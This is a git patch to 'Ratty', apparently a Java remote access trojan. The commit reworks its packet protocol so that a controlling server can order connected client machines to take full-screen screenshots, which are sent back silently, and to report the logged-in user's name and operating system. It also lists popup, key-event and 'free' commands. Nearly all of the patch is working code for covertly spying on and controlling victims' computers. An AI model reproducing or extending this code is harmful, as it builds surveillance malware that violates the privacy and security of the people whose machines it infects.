From eff4bb5515fd130109e9b00e544a5413e0c5959e Mon Sep 17 00:00:00 2001 From: Sogomn Date: Thu, 28 Jan 2016 22:26:14 +0100 Subject: [PATCH] Major changes Started to rework the request packets --- Ratty/src/de/sogomn/rat/ActiveClient.java | 4 +- .../rat/packet/AbstractPingPongPacket.java | 37 ++++++ .../src/de/sogomn/rat/packet/ImagePacket.java | 86 ------------ .../sogomn/rat/packet/InformationPacket.java | 20 ++- .../src/de/sogomn/rat/packet/PacketType.java | 9 +- .../sogomn/rat/packet/ScreenshotPacket.java | 122 ++++++++++++++++++ .../request/InformationRequestPacket.java | 33 ----- .../request/ScreenshotRequestPacket.java | 46 ------- .../rat/server/gui/ServerGuiController.java | 8 +- 9 files changed, 186 insertions(+), 179 deletions(-) create mode 100644 Ratty/src/de/sogomn/rat/packet/AbstractPingPongPacket.java delete mode 100644 Ratty/src/de/sogomn/rat/packet/ImagePacket.java create mode 100644 Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java delete mode 100644 Ratty/src/de/sogomn/rat/packet/request/InformationRequestPacket.java delete mode 100644 Ratty/src/de/sogomn/rat/packet/request/ScreenshotRequestPacket.java diff --git a/Ratty/src/de/sogomn/rat/ActiveClient.java b/Ratty/src/de/sogomn/rat/ActiveClient.java index 649f488..ed3086d 100644 --- a/Ratty/src/de/sogomn/rat/ActiveClient.java +++ b/Ratty/src/de/sogomn/rat/ActiveClient.java @@ -82,7 +82,9 @@ public final class ActiveClient extends TCPConnection { reader = null; } - packetQueue.clear(); + if (packetQueue != null) { + packetQueue.clear(); + } if (observer != null) { observer.disconnected(this); diff --git a/Ratty/src/de/sogomn/rat/packet/AbstractPingPongPacket.java b/Ratty/src/de/sogomn/rat/packet/AbstractPingPongPacket.java new file mode 100644 index 0000000..56009dd --- /dev/null +++ b/Ratty/src/de/sogomn/rat/packet/AbstractPingPongPacket.java @@ -0,0 +1,37 @@ +package de.sogomn.rat.packet; + +import de.sogomn.rat.ActiveClient; + +public abstract class AbstractPingPongPacket implements IPacket { + + private byte type; + + public static final byte REQUEST = 0; + public static final byte DATA = 1; + + public AbstractPingPongPacket() { + type = REQUEST; + } + + protected abstract void executeRequest(final ActiveClient client); + + protected abstract void executeData(final ActiveClient client); + + @Override + public final void execute(final ActiveClient client) { + if (type == REQUEST) { + type = DATA; + + executeRequest(client); + } else if (type == DATA) { + type = REQUEST; + + executeData(client); + } + } + + public final byte getType() { + return type; + } + +} diff --git a/Ratty/src/de/sogomn/rat/packet/ImagePacket.java b/Ratty/src/de/sogomn/rat/packet/ImagePacket.java deleted file mode 100644 index 5665ee8..0000000 --- a/Ratty/src/de/sogomn/rat/packet/ImagePacket.java +++ /dev/null @@ -1,86 +0,0 @@ -package de.sogomn.rat.packet; - -import java.awt.image.BufferedImage; -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.IOException; - -import javax.imageio.ImageIO; - -import de.sogomn.engine.Screen; -import de.sogomn.engine.Screen.ResizeBehavior; -import de.sogomn.rat.ActiveClient; - -public final class ImagePacket implements IPacket { - - private BufferedImage image; - private String format; - - private static final BufferedImage NO_IMAGE = new BufferedImage(100, 100, BufferedImage.TYPE_INT_RGB); - private static final int SCREEN_WIDTH = 500; - private static final int SCREEN_HEIGHT = 500; - - public ImagePacket(final BufferedImage image, final String format) { - this.image = image; - this.format = format; - } - - public ImagePacket(final BufferedImage image) { - this(image, ""); - } - - public ImagePacket() { - this(NO_IMAGE); - } - - @Override - public void send(final ActiveClient client) { - final ByteArrayOutputStream out = new ByteArrayOutputStream(); - - try { - ImageIO.write(image, format, out); - } catch (final IOException ex) { - ex.printStackTrace(); - } - - final byte[] data = out.toByteArray(); - - client.writeInt(data.length); - client.write(data); - } - - @Override - public void receive(final ActiveClient client) { - final int length = client.readInt(); - final byte[] data = new byte[length]; - - client.read(data); - - final ByteArrayInputStream in = new ByteArrayInputStream(data); - - try { - image = ImageIO.read(in); - } catch (final IOException ex) { - image = NO_IMAGE; - - ex.printStackTrace(); - } - } - - @Override - public void execute(final ActiveClient client) { - final int width = image.getWidth(); - final int height = image.getHeight(); - - final Screen screen = new Screen(width, height); - - screen.addListener(g -> { - g.drawImage(image, 0, 0, width, height, null); - }); - screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO); - screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT); - screen.show(); - screen.redraw(); - } - -} diff --git a/Ratty/src/de/sogomn/rat/packet/InformationPacket.java b/Ratty/src/de/sogomn/rat/packet/InformationPacket.java index 6b633bd..c52b505 100644 --- a/Ratty/src/de/sogomn/rat/packet/InformationPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/InformationPacket.java @@ -1,19 +1,29 @@ package de.sogomn.rat.packet; import de.sogomn.rat.ActiveClient; +import de.sogomn.rat.Ratty; public final class InformationPacket implements IPacket { private String name, os, version; + private byte type; + + private static final byte REQUEST = 0; + private static final byte DATA = 1; + public InformationPacket(final String name, final String os, final String version) { this.name = name; this.os = os; this.version = version; + + type = DATA; } public InformationPacket() { this("", "", ""); + + type = REQUEST; } @Override @@ -21,6 +31,7 @@ public final class InformationPacket implements IPacket { client.writeUTF(name); client.writeUTF(os); client.writeUTF(version); + client.writeByte(type); } @Override @@ -28,11 +39,18 @@ public final class InformationPacket implements IPacket { name = client.readUTF(); os = client.readUTF(); version = client.readUTF(); + type = client.readByte(); } @Override public void execute(final ActiveClient client) { - //... + if (type == REQUEST) { + final String name = System.getProperty("user.name"); + final String os = System.getProperty("os.name"); + final InformationPacket packet = new InformationPacket(name, os, Ratty.VERSION); + + client.addPacket(packet); + } } public String getName() { diff --git a/Ratty/src/de/sogomn/rat/packet/PacketType.java b/Ratty/src/de/sogomn/rat/packet/PacketType.java index c1266b4..fb6cab0 100644 --- a/Ratty/src/de/sogomn/rat/packet/PacketType.java +++ b/Ratty/src/de/sogomn/rat/packet/PacketType.java @@ -1,18 +1,13 @@ package de.sogomn.rat.packet; -import de.sogomn.rat.packet.request.InformationRequestPacket; -import de.sogomn.rat.packet.request.ScreenshotRequestPacket; public enum PacketType { POPUP(1, PopupPacket.class), - IMAGE(2, ImagePacket.class), + SCREENSHOT(2, ScreenshotPacket.class), KEY_EVENT(3, KeyEventPacket.class), FREE(4, FreePacket.class), - INFORMATION(5, InformationPacket.class), - - SCREENSHOT(6, ScreenshotRequestPacket.class), - INFORMATION_REQUEST(7, InformationRequestPacket.class); + INFORMATION(5, InformationPacket.class); public final byte id; public final Class clazz; diff --git a/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java b/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java new file mode 100644 index 0000000..80658cb --- /dev/null +++ b/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java @@ -0,0 +1,122 @@ +package de.sogomn.rat.packet; + +import java.awt.AWTException; +import java.awt.Dimension; +import java.awt.Rectangle; +import java.awt.Robot; +import java.awt.Toolkit; +import java.awt.image.BufferedImage; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; + +import javax.imageio.ImageIO; + +import de.sogomn.engine.Screen; +import de.sogomn.engine.Screen.ResizeBehavior; +import de.sogomn.rat.ActiveClient; + +public final class ScreenshotPacket implements IPacket { + + private BufferedImage image; + + private byte type; + + private static final byte REQUEST = 0; + private static final byte DATA = 1; + + private static final BufferedImage NO_IMAGE = new BufferedImage(100, 100, BufferedImage.TYPE_INT_RGB); + private static final int SCREEN_WIDTH = 500; + private static final int SCREEN_HEIGHT = 500; + + public ScreenshotPacket(final BufferedImage image) { + this.image = image; + + type = DATA; + } + + public ScreenshotPacket() { + this(NO_IMAGE); + + type = REQUEST; + } + + @Override + public void send(final ActiveClient client) { + client.writeByte(type); + + if (type == REQUEST) { + return; + } + + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + + try { + ImageIO.write(image, "PNG", out); + } catch (final IOException ex) { + ex.printStackTrace(); + } + + final byte[] data = out.toByteArray(); + + client.writeInt(data.length); + client.write(data); + } + + @Override + public void receive(final ActiveClient client) { + type = client.readByte(); + + if (type == REQUEST) { + return; + } + + final int length = client.readInt(); + final byte[] data = new byte[length]; + + client.read(data); + + final ByteArrayInputStream in = new ByteArrayInputStream(data); + + try { + image = ImageIO.read(in); + } catch (final IOException ex) { + image = NO_IMAGE; + + ex.printStackTrace(); + } + } + + @Override + public void execute(final ActiveClient client) { + if (type == REQUEST) { + final Dimension screen = Toolkit.getDefaultToolkit().getScreenSize(); + final Rectangle screenRect = new Rectangle(screen); + + try { + final Robot robot = new Robot(); + + image = robot.createScreenCapture(screenRect); + type = DATA; + } catch (final AWTException ex) { + ex.printStackTrace(); + } + + client.addPacket(this); + } else if (type == DATA) { + final int width = image.getWidth(); + final int height = image.getHeight(); + + final Screen screen = new Screen(width, height); + + screen.addListener(g -> { + g.drawImage(image, 0, 0, width, height, null); + }); + screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO); + screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT); + screen.show(); + screen.redraw(); + } + } + +} diff --git a/Ratty/src/de/sogomn/rat/packet/request/InformationRequestPacket.java b/Ratty/src/de/sogomn/rat/packet/request/InformationRequestPacket.java deleted file mode 100644 index 44b7153..0000000 --- a/Ratty/src/de/sogomn/rat/packet/request/InformationRequestPacket.java +++ /dev/null @@ -1,33 +0,0 @@ -package de.sogomn.rat.packet.request; - -import de.sogomn.rat.ActiveClient; -import de.sogomn.rat.Ratty; -import de.sogomn.rat.packet.IPacket; -import de.sogomn.rat.packet.InformationPacket; - -public final class InformationRequestPacket implements IPacket { - - public InformationRequestPacket() { - //... - } - - @Override - public void send(final ActiveClient client) { - //... - } - - @Override - public void receive(final ActiveClient client) { - //... - } - - @Override - public void execute(final ActiveClient client) { - final String name = System.getProperty("user.name"); - final String os = System.getProperty("os.name"); - final InformationPacket packet = new InformationPacket(name, os, Ratty.VERSION); - - client.addPacket(packet); - } - -} diff --git a/Ratty/src/de/sogomn/rat/packet/request/ScreenshotRequestPacket.java b/Ratty/src/de/sogomn/rat/packet/request/ScreenshotRequestPacket.java deleted file mode 100644 index b6b0e5a..0000000 --- a/Ratty/src/de/sogomn/rat/packet/request/ScreenshotRequestPacket.java +++ /dev/null @@ -1,46 +0,0 @@ -package de.sogomn.rat.packet.request; - -import java.awt.AWTException; -import java.awt.Dimension; -import java.awt.Rectangle; -import java.awt.Robot; -import java.awt.Toolkit; -import java.awt.image.BufferedImage; - -import de.sogomn.rat.ActiveClient; -import de.sogomn.rat.packet.IPacket; -import de.sogomn.rat.packet.ImagePacket; - -public final class ScreenshotRequestPacket implements IPacket { - - public ScreenshotRequestPacket() { - //... - } - - @Override - public void send(final ActiveClient client) { - //... - } - - @Override - public void receive(final ActiveClient client) { - //... - } - - @Override - public void execute(final ActiveClient client) { - final Dimension screen = Toolkit.getDefaultToolkit().getScreenSize(); - final Rectangle screenRect = new Rectangle(screen); - - try { - final Robot robot = new Robot(); - final BufferedImage image = robot.createScreenCapture(screenRect); - final ImagePacket packet = new ImagePacket(image, "PNG"); - - client.addPacket(packet); - } catch (final AWTException ex) { - ex.printStackTrace(); - } - } - -} diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java index b2fbd37..4ace8bc 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java @@ -8,8 +8,7 @@ import de.sogomn.rat.packet.FreePacket; import de.sogomn.rat.packet.IPacket; import de.sogomn.rat.packet.InformationPacket; import de.sogomn.rat.packet.PopupPacket; -import de.sogomn.rat.packet.request.InformationRequestPacket; -import de.sogomn.rat.packet.request.ScreenshotRequestPacket; +import de.sogomn.rat.packet.ScreenshotPacket; import de.sogomn.rat.server.ActiveServer; import de.sogomn.rat.server.IServerObserver; @@ -48,14 +47,13 @@ public final class ServerGuiController implements IServerObserver, IClientObserv return null; } - /*HARDCODED ATM*/ private IPacket getPacket(final String actionCommand) { if (actionCommand == RattyGui.POPUP) { return PopupPacket.create(); } else if (actionCommand == RattyGui.FREE) { return new FreePacket(); } else if (actionCommand == RattyGui.SCREENSHOT) { - return new ScreenshotRequestPacket(); + return new ScreenshotPacket(); } return null; @@ -106,7 +104,7 @@ public final class ServerGuiController implements IServerObserver, IClientObserv public void addClient(final ActiveClient client) { final long id = nextId++; final ServerClient serverClient = new ServerClient(id, client); - final InformationRequestPacket packet = new InformationRequestPacket(); + final InformationPacket packet = new InformationPacket(); client.setObserver(this); clients.add(serverClient);